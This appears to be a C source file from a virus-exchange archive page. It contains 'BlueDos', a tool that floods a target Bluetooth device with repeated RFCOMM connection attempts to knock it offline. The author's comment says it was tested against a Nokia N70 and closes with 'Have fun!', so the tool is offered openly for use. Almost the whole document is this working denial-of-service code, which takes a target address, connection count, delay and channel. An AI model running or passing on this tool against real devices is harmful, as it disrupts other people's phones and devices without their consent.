./c0de/c/bluedos.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
/* A simple tool to make DoS against bluetooth devices. 
   Compile it so: gcc BlueDos.c -o BlueDos -lbluetooth
   I have test this proggy against my nokia n70 and it seems to work.
   Have fun!
   Contact me at [email protected] or visit: http://vx.netlux.org/wargamevx
*/
 
#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <sys/socket.h>
 
/* make the real connection */
int BlueConnect(bdaddr_t *dst,short channel)
{
	struct sockaddr_rc remote_addr, local_addr;
	int sock;
 
	if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0) 
	{
		printf("Error creating the bluetooth socket!\n");
		return 0;	
	}
 
	memset(&local_addr, 0, sizeof(local_addr));
	local_addr.rc_family = AF_BLUETOOTH;
	bacpy(&local_addr.rc_bdaddr, BDADDR_ANY); 
 
	if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0) 
	{
		printf("Error binding!\n"); 
		close(sock);
		return 0;
	}
 
	memset(&remote_addr, 0, sizeof(remote_addr));
	remote_addr.rc_family = AF_BLUETOOTH;
	bacpy(&remote_addr.rc_bdaddr, dst);
	remote_addr.rc_channel = channel;
 
	if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0) 
	{
		printf("Error connecting!\n");
	        /* Do not return */
	}
 
	else
	{
		printf("[* Done]\n");
	}
 
	close(sock); /* close the socket */
 
}
 
int main(int argc,char *argv[])
{
	int dos_cnt,it;
	bdaddr_t dst;
	short channel = 1;
 
	if(argc < 4)
	{
		printf("Usage: %s <bt_addr> <conn_num> <sec_sleep> <channel (optional, default = 1)>\n",argv[0]);
		return 0;
	}
 
	str2ba(argv[1],&dst);
	dos_cnt = abs(atoi(argv[2]));
	it = abs(atoi(argv[3]));
 
	if(argv[4] != NULL)
	{
		channel = abs(atoi(argv[4]));
	}
 
	printf("[bt_addr = %s,conn_num = %d,sec_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);
 
	for(;dos_cnt > 0;dos_cnt--)
	{
		BlueConnect(&dst,channel);
		sleep(it);	
	}
 
	return 1;
}
 
 
 

Back